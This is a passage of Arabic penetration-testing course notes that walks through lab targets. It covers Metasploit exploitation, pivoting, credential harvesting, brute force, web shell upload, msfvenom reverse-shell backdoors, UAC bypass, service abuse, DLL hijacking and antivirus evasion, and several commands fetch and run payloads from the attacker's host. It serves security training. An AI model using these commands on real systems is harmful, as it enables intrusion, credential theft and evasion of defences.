الراوتر او على القيت واي والقيت واي راح يرسل للاتاكر الرد مش للكلاينت والاتاكر يرسله للكلاينت بكذا اي شي يطلع من الكلاينت للراوتر لابد يمر من الاتاكر اولا وكذالك العكس اي شي طالع من الراوتر الى الكلاينت لابد يمر من عند الاتاكر اول 69 | 70 | نشوف الان انه اخذنا meterpreter session في الـ MSFconsole 71 | ومعنا اعلى صلاحيات 72 | 73 | الى هنا انتهى اللاب نشوف الي بعده 74 | 75 | --- 76 | 77 | Post-Exploitation 78 | ------------------| 79 | طبعا اخذنا فكرة عن مابعد الاستغلال في كورس الـ PTS 80 | ف اي شي اخذناه سابقا راح نتركه بنشوف الاشياء الجديده يعني نمر عليه مرور الكرام 81 | 82 | اول شي خلونا نسوي بنق نشوف هل نقدر نوصل او لا 83 | ```bash 84 | ping demo.ine.local 85 | ping demo1.ine.local 86 | ``` 87 | 88 | طبعا نشوف انه الاول فيه رد الثاني مافيه ممكن يكون شبكة داخليه خلونا نفحص الاول بما انه نقدر نوصله 89 | ```bash 90 | nmap -sC -sV demo.ine.local 91 | ``` 92 | 93 | نشوف طبعا انه عطانا بورتات كثيره مفتوحه 94 | طبعا بورت 80 نلاحظ انه فيه خدمة سبق واستغليناها الي هي HTTPFileServer راح نستغلها فورا 95 | ```bash 96 | msfconsole -q 97 | use exploit/windows/http/rejetto_hfs_exec 98 | show options 99 | set RHOSTS demo.ine.local 100 | exploit 101 | sysinfo 102 | getuid 103 | ``` 104 | نشوف انه تم الاستغلال ومعنا يوزر Administrator 105 | خلونا نحاول نرقي صلاحيتنا الى NT AUTHORITY\SYSTEM 106 | ```bash 107 | getsystem 108 | getuid 109 | ``` 110 | نشوف انه فعلا قدرنا نرفع الصلاحيات واخذنا اعلى صلاحيات في النظام 111 | 112 | خلونا الان نرجع لدومين الثاني الي ماقدرنا نوصله ونحاول نسوي بنق من الجهاز الي اخترقناه 113 | ```bash 114 | shell 115 | ping 10.0.21.170 116 | ``` 117 | نشوف انه فعلا عندنا اتصال الان خلونا نسوي Pivoting 118 | اول شي بنخلي السيشن بالخلفيه ونضيف ايبي الشبكة الى الراوت تيبل 119 | ```bash 120 | CTRL + C 121 | y 122 | run autoroute -s 10.0.21.170/20 123 | ``` 124 | نشوف انه فعلا تم اضافة الشبكة الى الراوت تيبل بدون اي مشاكل 125 | 126 | خلونا نركز على هدف اللاب وهو انه نستخدم بعض الموديولز الي تفيدنا بعد الاستغلال 127 | 128 | معنا اول موديول اليوم الي هو 129 | ```bash 130 | run post/windows/gather/enum_applications 131 | ``` 132 | وظيفة هذا الموديول يعطيك كل البرامج المثبته على الجهاز 133 | نشوف انه عطانا اكثر من برنامج مثبت على التارقت 134 | نشوف انه حصلنا محمل برنامج FileZilla Client 3.57.0 ولما بحثنا شوي عرفنا انه فيه موديول يخص هذا البرنامج بالتحديد 135 | 136 | الموديول الثاني وظيفته يعطيك اليوزر والباسورد حق FTP عن طريق FileZilla 137 | ```bash 138 | run post/multi/gather/filezilla_client_cred 139 | ``` 140 | نشوف انه عطانا اليوزر بس الباسورد ماهو واضح او مفهوم 141 | طبعا الموديول يحفظ المخرجات بشكل xml ويحفظه لنا ف نقدر نقرا الملف خلونا نجرب ممكن الباسورد هناك واضح 142 | طبعا هو حفظه لنا على جهاز التارقت بمسار معين عطانا اياه اول ماشغلنا الموديول 143 | ```bash 144 | cat C:\\Users\\Administrator\\AppData\\Roaming\\FileZilla\\sitemanager.xml 145 | ``` 146 | وزي ماقلنا سابقا نخلي دبل باك سلاش لانه لو نحط واحد راح يعتبره سكيب 147 | ونشوف الان انه فعلا عندنا باسورد نقدر نقراه وواضح والان نقدر ندخل بالـ FTP 148 | 149 | الان خلونا نرجع لفكرة البفتنق 150 | طبعا حنا اضفنا الشبكة في الراوت تيبل 151 | خلونا نشوف سيرفر الـ proxychains 152 | ```bash 153 | cat /etc/proxychains4.conf 154 | ``` 155 | نشوف انه على بورت 9050 واصداره 4 156 | خلونا نرجع للميتاسبلويت ونشغل السيرفر 157 | ```bash 158 | background 159 | use auxiliary/server/socks_proxy 160 | show options 161 | set SRVPORT 9050 162 | set VERSION 4a 163 | exploit 164 | jobs 165 | ``` 166 | طيب حلو الان شغال السيرفر بالجوبز خلونا الان نسوي nmap scan 167 | ```bash 168 | proxychains nmap demo1.ine.local -sT -Pn -p 1-50 169 | ``` 170 | نشوف انه بورت 22و21 مفتوحه 171 | 172 | طبعا حنا نعرف انه في الدومين الاول شغال عليه بورت 3389 ف خلونا نسوي يوزر جديد على النظام ونحاول ندخل بالـ RDP 173 | ```bash 174 | sessions -i 1 175 | shell 176 | net user guest_1 guestpwd /add 177 | net localgroup "Remote Desktop Users" guest_1 /add 178 | net user 179 | ``` 180 | نشوف انه تم اضافة اليوزر خلونا نجرب الان ندخل عن طريق الـ RDP 181 | ```bash 182 | xfreerdp /u:guest_1 /p:guestpwd /v:demo.ine.local 183 | y 184 | ``` 185 | الان دخلنا تمام خلونا نشوف وين برنامج FileZilla 186 | طبعا هذا البرنامج يستخدم بروتوكول FTP عشان ينقل الملفات 187 | طيب الان حصلنا البرنامج نلاحظ فوق انه طالب منا Host , Username , Password , Port وهذي كلها معنا 188 | ```bash 189 | Host: 10.0.21.78 190 | Username: admin 191 | Password: FTPStrongPwd 192 | Port: 21 193 | ``` 194 | الان نسوي Quickconnect 195 | نشوف انه تم الاتصال وحصلنا على السيرفر ملف اسمه username.txt 196 | طيب خلونا نحمل الملف ونقرا المحتوى 197 | نشوف انه حصلنا 3 يوزرت 198 | ```bash 199 | administrator 200 | sysadmin 201 | student 202 | ``` 203 | طبعا راح ناخذ اقوى يوزر عندنا والي هو administrator 204 | خلونا نرجع للميتاسبلويت الان ونسوي portforward 205 | ```bash 206 | CTRL + C 207 | y 208 | portfwd add -l 1234 -p 22 -r 10.0.21.78 209 | portfwd list 210 | ``` 211 | حلو الان خلونا نفحص بورت 1234 على اللوكال عن طريق الـ nmap 212 | ```bash 213 | nmap -sV -p 1234 localhost 214 | ``` 215 | حلو الان خلونا نسوي بروت فورس على يوزر administrator عشان نحاول نتصل بالـ SSH 216 | ```bash 217 | proxychains hydra -l administrator -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt demo1.ine.local ssh 218 | ``` 219 | نشوف انه حصلنا اليوزر والباسورد الي هو password1 220 | خلونا الان نجرب نتصل بالـ SSH عن طريق MSFconsole 221 | ```bash 222 | background 223 | use auxiliary/scanner/ssh/ssh_login 224 | show options 225 | set RHOSTS demo1.ine.local 226 | set USERNAME administrator 227 | set PASSWORD password1 228 | set gatherproof false 229 | exploit 230 | sessions 231 | ``` 232 | نشوف انه عطانا سيشن جديده الان واخذنا شيل على التارقت الثاني الي ماكان عندنا وصول له 233 | مطلوب الان نقرا الفلاق الي بالجهاز الي سوينا له بفتنق 234 | ```bash 235 | sessions -i 2 236 | dir C:\ 237 | type C:\FLAG1.txt 238 | ``` 239 | ونشوف انه قرا الفلاق والوضع تمام 240 | الى هنا انتهى اللاب نشوف الي بعده 241 | 242 | --- 243 | 244 | 245 | Blind Penetration Test 246 | -----------------------| 247 | 248 | طيب بداية خل نشوف فيه اتصال بيننا وبين التارقت او لا 249 | ```bash 250 | ping demo.ine.local 251 | ``` 252 | نشوف انه فيه اتصال خلونا نفحص التارقت 253 | ```bash 254 | nmap -sV -sC demo.ine.local 255 | ``` 256 | طيب حصلنا بورت 80 مفتوح خلونا نشوف نفتح البراوزر 257 | طبعا حلو نقدر نبحث عن cve او انه نشوف نبحث عن مسارات 258 | خلونا نمشي مع اللاب ونشوف المسارات 259 | ```bash 260 | dirb http://demo.ine.local 261 | ``` 262 | نشوف انه حصلنا مسار /webdav 263 | طيب حنا نعرف انه مصاب الـ webdav خلونا نستغله فورا 264 | ```bash 265 | davtest -url http://demo.ine.local/webdav 266 | ``` 267 | نشوف انه ماعطانا وش الملفات الي نقدر نرفعها لانه مطلوب يوزر وباسورد 268 | خلونا نسوي بروت فورس ونحاول نطلعهم عندنا طريقتين ياعن طريق هايدرا او عن طريق ميتاسبلويت 269 | ```bash 270 | msfconsole -q 271 | use auxiliary/scanner/http/http_login 272 | set RHOSTS demo.ine.local 273 | set AUTH_URI /webdav/ 274 | set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt 275 | set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 276 | set VERBOSE false 277 | exploit 278 | ``` 279 | نشوف انه حصلنا اليوزر والباسورد 280 | ```bash 281 | bob:sunshine 282 | administrator:tigger 283 | ``` 284 | طيب حلو خلونا نرجع نشوف وش نقدر نرفع عن طريق davtest 285 | ```bash 286 | davtest -auth administrator:tigger -url http://demo.ine.local/webdav 287 | ``` 288 | نشوف انه قالنا انه نقدر نرفع ملفات بالامتدادات التاليه txt , html . asp 289 | خلونا نسجل دخول عن طريق اداة cadaver 290 | ```bash 291 | cadaver http://demo.ine.local/webdav 292 | Username: administrator 293 | Password: tigger 294 | ls 295 | ``` 296 | 297 | طبعا خلونا الان نرفع ويب شيل 298 | ```bash 299 | put /usr/share/webshells/asp/webshell.asp 300 | ``` 301 | الان نرجع الموقع وندخل مسار webdav ونسجل دخول 302 | الان حصلنا الويب شيل نضغط عليه ونقدر ننفذ اي كوماند نبيه 303 | ```bash 304 | whoami 305 | dir 306 | ``` 307 | 308 | طيب الان نبي ناخذ meterpreter session عشان نقدر نسوي اشياء اكثر مثل البفتنق وغيرها 309 | 310 | خلونا الان نسوي لنا ملف backdoor ونرفع بامر PUT 311 | ```bash 312 | ip addr [to identify your ip] 313 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=$attacker_ip LPORT=$attacker_port -f exe > backdoor.exe 314 | file backdoor.exe 315 | ``` 316 | الان سوينا الباك دور حقنا خلونا نرفعه عن طريق cadaver 317 | ```bash 318 | put /root/backdoor.exe 319 | ``` 320 | الان رفعنا الباك دور 321 | خلونا نرجع للموقع وندخل على مسار webdav ونسوي login 322 | وندخل على الويب شيل 323 | وننفذ هذا الامر الان 324 | ```bash 325 | dir C:\ 326 | ``` 327 | حصلنا الفلاق الان خلونا نقرا الفلاق 328 | ```bash 329 | type c:\flag.txt 330 | ``` 331 | حلو الان خلونا ناخذ meterpreter session 332 | اول شي نفتح الليسنر 333 | ```bash 334 | use exploit/multi/handler 335 | set LHOST 10.10.15.6 336 | set LPORT 4444 337 | set PAYLOAD windows/meterpreter/reverse_tcp 338 | exploit 339 | ``` 340 | الان خلونا نرجع للموقع وندور وين ملف الباك دور الي رفعناه 341 | خلونا نشغل الان الملف بعد ماحصلنا الملف 342 | ```bash 343 | C:\inetpub\wwwroot\webdav\backdoor.exe 344 | ``` 345 | نشوف انه فتح لنا الباك دور الان ولو نرجع للميتاسبلويت بنحصل السيشن جتنا 346 | خلونا ننفذ بعض الاوامر 347 | ```bash 348 | sysinfo 349 | getuid 350 | ``` 351 | خلونا نحاول الان نرقي صلاحيتنا لانه مامعنا اعلى صلاحيات 352 | 353 | خلونا نجرب اول نرفعها عن طريق الميتاسبلويت 354 | ```bash 355 | getsystem 356 | ``` 357 | طيب نشوف انه رفض خلونا الان نبدا بمرحلة الـ privileges esc 358 | اول شي خل نفتح شيل ونشوف صلاحياتنا 359 | ```bash 360 | shell 361 | whoami /all 362 | ``` 363 | نشوف انه الان معنا صلاحية SeImpersonatePrivilege 364 | وهذا يعتبر misconfigruation 365 | خلونا الان نستغله 366 | اول شي نطلع من الشيل ونغير الى بروسس اخر 367 | ```bash 368 | CTRL + C 369 | migrate -N w3wp.exe 370 | ``` 371 | طبعا هذا البروسس جاي من اللاب ولا المفروض تحول لأي بروسس مستقره مثل explorer.exe 372 | الان خلونا نسوي load لبلقن معين راح يساعدنا بالاستغلال 373 | ```bash 374 | load incognito 375 | ``` 376 | طيب خلونا نشوف وش اوامر البلقن هذا وكيف بنشوف كل التوكنز الي عندنا 377 | ```bash 378 | help 379 | list_tokens -u 380 | ``` 381 | نشوف انه عطانا 3 راح نختار الاعلى صلاحيات والي هو Administrator 382 | خلونا الان ننتحل هذا التوكن 383 | ```bash 384 | impersonate_token DOTNETGOAT\\Administrator 385 | ``` 386 | طبعا لابد تخليه دبل باك سلاش عشان مايعتبره سكيب 387 | خلونا الان نشوف وش اليوزر الي معنا 388 | ```bash 389 | getuid 390 | ``` 391 | نشوف انه معنا الان Administartor 392 | 393 | خلونا نسوي hashdump 394 | ```bash 395 | hashdump 396 | ``` 397 | طيب ليه اخذنا الهاش وحنا معنا اعلى صلاحيات؟ 398 | كله عشان الـ presistence 399 | لانه حنا دخلنا عن طريق الويب شيل او الباك دور ممكن يحصله التارقت ويحذفه ويكون مانقدر ندخل 400 | عشان كذا نكسر الهاش ولو حصل الباك دور وحذفه مثلا او حذف الويب شيل عندنا طريقه انه ندخل عن طريق اليوزر والباسورد الي طلعناه يوم كسرنا الهاش 401 | 402 | 403 | الى هنا انتهى اللاب خل نشوف الي بعده 404 | 405 | --- 406 | 407 | Privilege Escalation 408 | ---------------------| 409 | 410 | اولا خلونا نشوف هل فيه اتصال بيننا وبين التارقت او لا 411 | ```bash 412 | ping demo.ine.local 413 | ``` 414 | نشوف انه عندنا اتصال خلونا نفحص التارقت 415 | ```bash 416 | nmap -sV -sC demo.ine.local 417 | ``` 418 | نشوف انه حصلنا بورت 80 شغال عليه HTTPFileServer 2.3 ونعرف انه مصاب راح نستغله فورا بالميتاسبلويت 419 | ```bash 420 | msfconsole -q 421 | use exploit/windows/http/rejetto_hfs_exec 422 | show options 423 | set RHOSTS demo.ine.local 424 | exploit 425 | sysinfo 426 | getuid 427 | ``` 428 | نشوف انه اليوزر الي معنا admin الان لابد نسوي Privilege Escalation 429 | خلونا اول شي نروح لبروسس مستقر عشان مايقطع علينا الاتصال 430 | ```bash 431 | ps -S explorer.exe 432 | migrate 2716 433 | ``` 434 | حلو الان خلونا نحاول نرفع صلاحياتنا عن طريق الميتاسبلويت 435 | ```bash 436 | getsystem 437 | ``` 438 | طيب نشوف انه رفض خلونا الان نفتح الشيل ونشوف اليوزرات الي بقروب administrators 439 | ```bash 440 | shell 441 | net localgroup administrators 442 | ``` 443 | نشوف انه حصلنا admin & Administrator 444 | وحنا طبعا يوزرنا admin 445 | بكذا نعرف انه نقدر نرفع صلاحياتنا عن طريق bypassing UAC 446 | خلونا اول شي نسوي باك دور 447 | ```bash 448 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.2 LPORT=4444 -f exe > 'backdoor.exe' 449 | ``` 450 | طبعا الان راح نروح لمسار الـ Temp ونرفع ملفاتنا هناك 451 | ```bash 452 | CTRL + C 453 | cd C:\\Users\\admin\\AppData\\Local\\Temp 454 | upload /root/Desktop/tools/UACME/Akagi64.exe . 455 | upload /root/backdoor.exe . 456 | ls 457 | ``` 458 | نشوف انه الان رفعنا الملفات الي نحتاجها الي هي backdoor , akagi64 في مسار Temp 459 | خلونا الان نفتح الليسنر قبل نستغل 460 | ```bash 461 | msfconsole -q 462 | use exploit/multi/handler 463 | set PAYLOAD windows/meterpreter/reverse_tcp 464 | set LHOST 10.10.15.2 465 | set LPORT 4444 466 | exploit 467 | ``` 468 | حلو الان خلونا نحاول نرفع صلاحياتنا 469 | ```bash 470 | shell 471 | Akagi64.exe 23 C:\Users\admin\AppData\Local\Temp\backdoor.exe 472 | ``` 473 | 23 هذا يعني انه راح نستخدم الطريقة الي رقمها 23 ف اذا حاب تقرا عن باقي الطرق المتوفره 474 | (UAC_Bypassing)[https://github.com/hfiref0x/UACME] 475 | 476 | حلو الان نرجع للميتاسبلويت ونشيك على الليسنر حقنا ونحصل انه فعلا جانا سيشن 477 | خلونا الان نحاول نرفع صلاحياتنا 478 | ```bash 479 | getsystem 480 | getuid 481 | ``` 482 | والان نشوف انه تم رفع صلاحياتنا وصرنا NT AUTHORITY\SYSTEM 483 | طبعا فيه طريقه ثانيه والي هي عن طريق موديول معين 484 | 485 | وظيفة الموديول انه يجمع معلومات عن التارقت بشكل عام وبعدها يعطيك افضل موديول تقدر تستغل فيه بدون اي مشاكل 486 | خلونا نفرض ان الان اخذنا meterpreter session وماعندنا كامل الصلاحيات وحابين نرفع صلاحياتنا 487 | ```bash 488 | run post/multi/recon/local_exploit_suggester 489 | ``` 490 | والان نشوف انه عطانا 2 موديولز تقريبا 491 | خلونا نجرب واحد منهم 492 | ```bash 493 | use exploit/windows/local/bypassuac_dotnet_profiler 494 | set SESSION 1 495 | exploit 496 | ``` 497 | نشوف انه عطانا سيشن 3 الان فتحها لنا خلونا نحاول نرفع الصلاحيات 498 | ```bash 499 | getsystem 500 | getuid 501 | ``` 502 | ونشوف انه رفع الصلاحيات بدون اي مشاكل 503 | 504 | فهذي طريقتين جدا راح تساعدك بخصوص رفع الصلاحيات او Privilege Escalation 505 | 506 | الى هنا انتهى اللاب 507 | 508 | خلونا نشوف اللاب الي بعده 509 | 510 | --- 511 | 512 | Privilege Escalation Via Services 513 | ----------------------------------| 514 | 515 | طيب اول شي كلعاده نشيك على الاتصال بيننا وبين التارقت 516 | ```bash 517 | ping demo.ine.local 518 | ``` 519 | نشوف انه فيه اتصال خلونا نفحص الان التارقت بالـ nmap 520 | ```bash 521 | nmap -sV -sC demo.ine.local 522 | ``` 523 | نشوف انه شغال بورت 80 وعليه الخدمة badblue 2.7 524 | خلونا نستغلها فورا 525 | ```bash 526 | msfconsole -q 527 | use exploit/windows/http/badblue_passthru 528 | show options 529 | set RHOSTS demo.ine.local 530 | exploit 531 | sysinfo 532 | getuid 533 | ``` 534 | الان استغلينا التارقت واخذنا الـ meterpreter session 535 | نشوف انه معنا يوزر WIN-I219UGQJ7H8\bob 536 | لابد الان نرفع صلاحياتنا خلونا اول شي نغير البروسس الي شغالينا عليه 537 | ```bash 538 | ps -S explorer.exe 539 | migrate 2736 540 | ``` 541 | طيب الان نحاول نرفع الصلاحيات 542 | ```bash 543 | getsystem 544 | ``` 545 | نشوف انه رفض 546 | طيب خلونا نشيك هل وش اليوزرات الي داخل قروب administrators 547 | ```bash 548 | shell 549 | net localgroup administrators 550 | ``` 551 | نشوف انه مافي يوزر bob فقط يوجد Administrator داخل administrators group 552 | طيب راح نرفع اداة اسمها powerup نفس سركبت linpeas الي في linux 553 | خلونا ننتقل لمسارها اولا ونفتح البايثون سيرفر وننقله 554 | ```bash 555 | cd /root/Desktop/tools/PowerSploit/Privesc/ 556 | ls 557 | python -m SimpleHTTPServer 80 558 | ``` 559 | الان خلونا نرجع للميتاسبلويت ونطلع من الشيل ونسوي load للـ powershell 560 | ```bash 561 | CTRL + C 562 | load powershell 563 | ``` 564 | حلو الان خلونا نفتح الباورشيل 565 | ```bash 566 | powershell_shell 567 | ``` 568 | طيب حلو الان خلونا ننقل الملف من جهاز الاتاكر الى جهاز التارقت ف خلونا نشوف الامر التالي 569 | ```bash 570 | iex (New-Object Net.WebClient).DownloadString('http://10.10.15.3/PowerUp.ps1') 571 | ``` 572 | حلو الان خلونا نشغل السكربت هذا ونشوف وش ثغرات تصعيد الصلاحيات الي نقدر نستغلها 573 | ```bash 574 | Invoke-AllChecks 575 | ``` 576 | نشوف انه حصلنا يوزر bob وحصلنا الباسورد حقه 577 | وكذالك حصلنا سيرفس نقدر نستغلها اسمها AppReadiness 578 | طبعا عندنا طريقتين للاستغلال 579 | 1. انه نسوي يوزر جديد على جهاز التارقت بصلاحيات administrator 580 | 2. انه نضيف يوزر عندنا الى قروب الـ administrators 581 | خلونا نستغل الطريقة الثانيه 582 | ```bash 583 | Invoke-ServiceAbuse -Name AppReadiness -Command "net localgroup administrators bob /add" 584 | net localgroup administrators 585 | ``` 586 | وخلونا الان نجرب الطريقة الاولى ونسوي يوزر جديد ونضيفه بالقروب 587 | ```bash 588 | Invoke-ServiceAbuse -Name AppReadiness -UserName ine -Password password_123 -LocalGroup "Administrators" 589 | net user 590 | ``` 591 | طبعا نقدر نشغل HTML Application (HTA) عشان ناخذ meterpreter session 592 | طبعا له موديول بالميتاسبلويت 593 | ```bash 594 | msfconsole -q 595 | use exploit/windows/misc/hta_server 596 | show options 597 | set LHOST 443 598 | exploit 599 | ``` 600 | الان نشوف انه عطانا الـ Local IP ومرفق فيها الرابط الي فيه ملف HTA 601 | خلونا الان نرجع للسيشن الي معنا وننفذ الامر التالي في الباورشيل عشان ناخذ meterprerte session باعلى صلاحيات 602 | ```bash 603 | Invoke-ServiceAbuse -Name AppReadiness -Command "mshta.exe http://10.10.15.3:8080/ljUAsN.hta" 604 | ``` 605 | نشوف انه فتح لنا سيشن جديده خلونا ندخل ونشوف صلاحياتنا 606 | ```bash 607 | sessions -i 1 608 | getuid 609 | ``` 610 | ونشوف انه معنا اعلى صلاحيات والي هي NT AUTHORITY\SYSTEM 611 | 612 | الى هنا انتهينا باذن الله بكرا نكمل 613 | 614 | --- 615 | 616 | ## Follow us on: 617 | Twitter: 618 | [s4cript](https://twitter.com/s4cript) 619 | [cyberhub](https://twitter.com/cyberhub) 620 | [0xNawaF1](https://twitter.com/0xNawaF1) 621 | -------------------------------------------------------------------------------- /network-PT-cyberhub-PTP-8.md: -------------------------------------------------------------------------------- 1 | # Session 8 (eCPPTv2) - Day 8 2 | ## Penetration Testing: Network Security 3 | 4 | السلام عليكم ورحمة الله وبركاته 5 | 6 | اليوم باذن الله راح نبدا من الي وقفنا عليه امس 7 | 8 | --- 9 | 10 | معنا اليوم اول لاب 11 | 12 | Finding and Exploiting DLL Hijacking Vulnerabilities 13 | -----------------------------------------------------| 14 | 15 | 16 | بالبداية خلونا نفتح التارقت مشين 17 | نحصل بسطح المكتب مجلد اسمه dvta 18 | ندخل على المجلد ونفتح المسار dvta/bin/reales 19 | نشوف انه عطانا كل التفاصيل 20 | مثل اسم البروسس ورقمها والعملية الي تسويها ومسارها والنتيجة هل ناجحة او لا 21 | 22 | طبعا هنا يهمنا انه تكون الـ Result حقت البروسس name not found 23 | طبعا معناته انه ماحصل ملف الـ DLL بالمسار المحدد 24 | طبعا تقدر تفلتر بانك تضغط كليك يمين بعدين Include CreateFile 25 | ف راح نسوي له DLL الان لكن خلونا نشوف وش المسار وايش البروسس وايش هو البروسس ايدي 26 | صح ويهمنا بعد انه في بالـ Operation يكون CreateFile 27 | عشان نقدر نكتب 28 | 29 | نرجع الان نشيك على المسار هل عندنا صلاحية الكتابه او لا 30 | ```bash 31 | Get-ACL 'C:\Users\Administrator\Desktop\dvta\bin\Release' | Format-List 32 | ``` 33 | نشوف انه قالنا انه معنا Fullcontrol 34 | فهذا يعني انه عندنا صلاحيات انه نكتب او نقرا او نشغل في هذا المسار 35 | طيب الان بنروح للبروسس حقنا ونقفله ونرجع نشغله 36 | بعد ماسوينا اعادة تشغيل للبروسس راح نفتحه من جديد 37 | طيب خلونا نسوي فلتر الان فيه كلمة Filter فوق 38 | نخلي اول خيار يسار Operation 39 | الخيار الي بعده is 40 | بالفراغ نكتب CreateFile 41 | اخر خيار يمين نخليه Include 42 | نفعل الـ Process Name ثاني وحده يعني من القائمة 43 | الان خلونا نشغل البرنامج 44 | ```bash 45 | C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe 46 | ``` 47 | الان نضغط CTRL + L عشان نسوي فلتر للبروسس 48 | اول شي يسار نختار Process Name 49 | ثاني خيار نخليه is 50 | الفراغ نكتب فيه DVYA.exe 51 | واخيرا نضغط Add 52 | بعدين Ok 53 | نشوف انه عطانا كل البروسس الي شغاله واسمها DVTA.exe 54 | So let's clear some activity by de-selecting Show Registry Activity and Show Network Activity 55 | نحصلهم طبعاالقائمة الي تحت كلمة Help 56 | نشغل فقط الثاني والرابع 57 | الان خلونا نسوي فلتر للـ Result عشان مايطلع لي غير الـ Name Not Found 58 | نروح لبروسس الـ Result فيها قيمتها Name Not Found ونضفط Include NAME NOT FOUND 59 | الان نشوف انه كل البروسس الي فيه الـ Result حقتها كلها قيمتها Name Not Found 60 | الان نضغط CTRL + L عشان نسوي فلتره 61 | اول خيار يسار نحدد انه PATH 62 | ثاني خيار نخليه begins with 63 | الفراغ نكتب فيه مسار البروسس الي هو C:\Users\Administrator\Desktop\dvta\bin\Release\DVTA.exe 64 | بغدين نسوي Add بعدين Ok 65 | نشوف انه صار العدد جدا قليل وصغرنا دائرة البحث 66 | لو نشوف البروسس الي قبل الاخيره الي مسارها C:\Users\Administrator\Desktop\dvta\bin\Release\Dwrite.dll 67 | طبعا الان عرفنا ايش الـ DLL المفقود 68 | 69 | خلونا الان نستغل 70 | نروح للينكس وناخذ الايبي تبعنا بالامر ifconfig eth1 71 | 72 | الان خلونا نسوي dll ونحقن فيها الشيل تبعنا 73 | ```bash 74 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.2 LPORT=9001 -f dll > Dwrite.dll 75 | ``` 76 | 77 | حلو الان صارت معنا خلونا ننقل الـ dll الى جهاز التارقت 78 | اول شي نفتح بايثون سيرفر 79 | ```bash 80 | python3 -m http.server 80 81 | or 82 | python -m SimpleHTTPServer 80 83 | ``` 84 | حلو الان خلونا نفتح الليسنر عشان اول ماننقل الـ DLL ويشتغل علطول راح يجينا الشيل 85 | ```bash 86 | msfconsole -q 87 | use exploit/multi/handler 88 | set PAYLOAD windows/meterpreter/reverse_tcp 89 | set LHOST 10.10.15.2 90 | set LPORT 4444 91 | exploit 92 | ``` 93 | الان فتحنا الليسنر 94 | 95 | خلونا الان ننقل الـ dll 96 | ```bash 97 | iwr -UseBasicParsing -Uri http://10.10.15.2/Dwrite.dll -OutFile C:\Users\Administrator\Desktop\dvta\bin\Release\Dwrite.dll 98 | ``` 99 | الان خلونا نفتح الـ DVTA.exe 100 | والان راح يستدعي الـ DLL وراح يحصل حقتنا 101 | والان راح يشغلها فورا اول مايفتح البرنامج 102 | ونرجع للـ msfconsole 103 | ونشوف انه اخذنا meterpreter shell 104 | 105 | الى هنا انتهى اللاب خلونا نشوف الي بعده 106 | 107 | --- 108 | 109 | Bypassing AV 110 | -------------| 111 | 112 | في هذا اللاب راح نشوف طريقة من احد طرق تخطي antiviruses معروف جدا اسمه Avast 113 | 114 | طيب اول شي خلونا نشوف هل فيه اتصال بيننا وبين التارقت 115 | ```bash 116 | ping -c3 172.16.5.10 117 | ``` 118 | ونشوف انه فعلا فيه اتصال بيننا جميل جدا 119 | 120 | خلونا نفحص الان 121 | ```bash 122 | nmap 172.16.5.10 123 | ``` 124 | نشوف انه فيه بورت 3389 والي هو الـ RDP شغال 125 | وفي اللاب معطينا اليوزر والباسورد 126 | 127 | خلونا الان نتصل بالتارقت عن طريق الـ RDP 128 | ```bash 129 | rdesktop -u aline -p soccer 172.16.5.10 130 | ``` 131 | نشوف انه الان فتح لنا تمام 132 | 133 | طبعا نشوف الـ Antiviruses بسطح المكتب 134 | 135 | طيب خلونا لان نسوي لنا reverse TCP payload 136 | ```bash 137 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.5.101 LPORT=4444 -f exe > rTCP.exe 138 | file rTCP.exe 139 | ``` 140 | نشوف انه سوينا البايلود تمام 141 | 142 | خلونا الان نفتح بايثون سيرفر وننقل الملف عشان نشوف كيف الانتي فايروس يقفطه 143 | ```bash 144 | python3 -m http.server 80 145 | ``` 146 | 147 | خلونا الان نفتح ليسنر 148 | ```bash 149 | msfconsole -q 150 | use exploit/multi/handler 151 | set payload windows/meterpreter/reverse_tcp 152 | set LPORT 4444 153 | set LHOST 172.16.5.101 154 | exploit 155 | ``` 156 | حلو الان فتحنا الليسنر خلونا الان نروح لتارقت ونفتح الفايرفوكس ونحمل الملف عن طريق الرابط 157 | ```bash 158 | http://172.16.5.101/rTCP.exe 159 | ``` 160 | ونسوي save file 161 | 162 | الان نشوف انه رفض يحمل الملف قالنا Failed 163 | الان عرفنا ان الـ Antiviruse had detected and blocked the malicious file 164 | 165 | خلونا نفتح الانتي فايروس الان ونشوف وش يظهر لنا 166 | [detected](https://i.ibb.co/kDqwYk3/9-2.png) 167 | 168 | خلونا الان نقفل الانتي فايروس من السهم الي تحت يمين 169 | [disable_the_Avast_AV](https://i.ibb.co/kH909bm/10.png) 170 | 171 | الان نرجع لسطح المكتب ونفتح الـ Avast 172 | نشوف فوق يمين فيه Menu نضغطها 173 | بعدين نختار Settings 174 | بعدين نختار Protection 175 | بعدين نختار Core Shields 176 | ونقفل اول زر الي هو Core Shields 177 | راح تطلع لنا نافذه ونختار Until I turn it on again 178 | بعدين نضغط Ok, STOP 179 | نلاحظ الان ان الزر صار بالاحمر يعني قفلناه 180 | 181 | الان خلونا نرجع للفايرفوكس ونحاول نحمل البايلود 182 | نشوف انه تحمل تمام نسوي له Run 183 | 184 | الان نرجع للـ msfconsole 185 | ونشوف انه فعلا جانا meterpreter session 186 | خلونا ننفذ بعض الاوامر مثل 187 | ```bash 188 | sysinfo 189 | execute -f calc.exe [to launch a calculator] 190 | ``` 191 | الان لو نرجع لتارقت بنشوف انه فتح لنا الالة الحاسبة 192 | 193 | خلونا نقفل السيشن الان ونفعل الحماية حقت الانتي فايروس 194 | ```bash 195 | exit 196 | exploit 197 | ``` 198 | الان قفلنا السيشن وفتحنا الليسنر من جديد 199 | 200 | خلونا نرجع لجهاز التارقت ونفتح الـ Avast 201 | نشوف فوق يمين فيه Menu نضغطها 202 | بعدين نختار Settings 203 | بعدين نختار Protection 204 | بعدين نختار Core Shields 205 | ونفعل اول زر الي هو Core Shields 206 | 207 | خلونا الان نجرب احد التخطيات اسمه shikata_ga_nai 208 | خلونا نسوي البايلود باستخدام هذا التخطي 209 | ```bash 210 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.5.101 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 5 > rTCPenc.exe 211 | ``` 212 | نشوف الان انه شفر لنا البايلود باستخدام x86/shikata_ga_nai وخليناه يشفر لنا اياه 